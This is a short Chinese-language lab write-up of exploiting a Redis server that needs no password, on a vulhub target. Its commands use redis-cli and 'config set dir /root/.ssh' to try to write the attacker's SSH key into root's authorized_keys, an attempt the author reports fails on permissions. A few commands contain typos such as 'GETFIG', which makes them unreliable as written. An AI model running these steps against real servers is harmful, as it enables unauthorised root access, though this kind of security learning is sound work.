1.搭建环境,这里使用的是vulhub现有环境
第一步:端口扫描,因为redis默认情况下会绑定在0.0.0.0:6379,如果没有采取相关的安全措施,redis服务暴露在公网会导致未授权访问和其他更糟糕情况的发生
已知靶机ip地址为192.168.3.250
2.用本地已经搭建好的环境去访问
命令 ./redis-cli -h 目标ip
3.发现存在未授权访问,接下来尝试看能不能getshell呢?
通过学习大佬写的东西,发现getshell有如下方式
方式一:
首先在自己的kali中生成key
命令:ssh-keygen -t rsa
命令解释:为了使的linux两台机器互相ssh不需要账密 ,加密方式可以选择rsa或者dsa
具体可参考这大佬的阐述 大佬文章地址:https://blog.csdn.net/wh_19910525/article/details/7433164
接下来开始实践操作
4.查看本地保存公私钥,并导入文件
命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
命令解释:/n换行
5.将自己的key输入到目标靶机
命令:cat 1.txt | ./redis-cli -h 目标靶机IP -x set xxxxxxx
6.连接目标redis并查看备份文件路径信息
查看备份文件路径信息命令:GETFIG GET dir
7.讲redis备份文件名改为/root/.ssh,因为一般默认会将key存放在此目录下,同事修改刚刚上传的1.txt文件名为anthorized_keys
命令:config set dir /root/.ssh
命令:CONFIG SET dbfilename authorized_keys
很不幸权限不够,如果是root权限,直接修改后 ssh -i id_rsa root@目标ip即可ssh连接靶机
8那就想办法吧,今天先到这里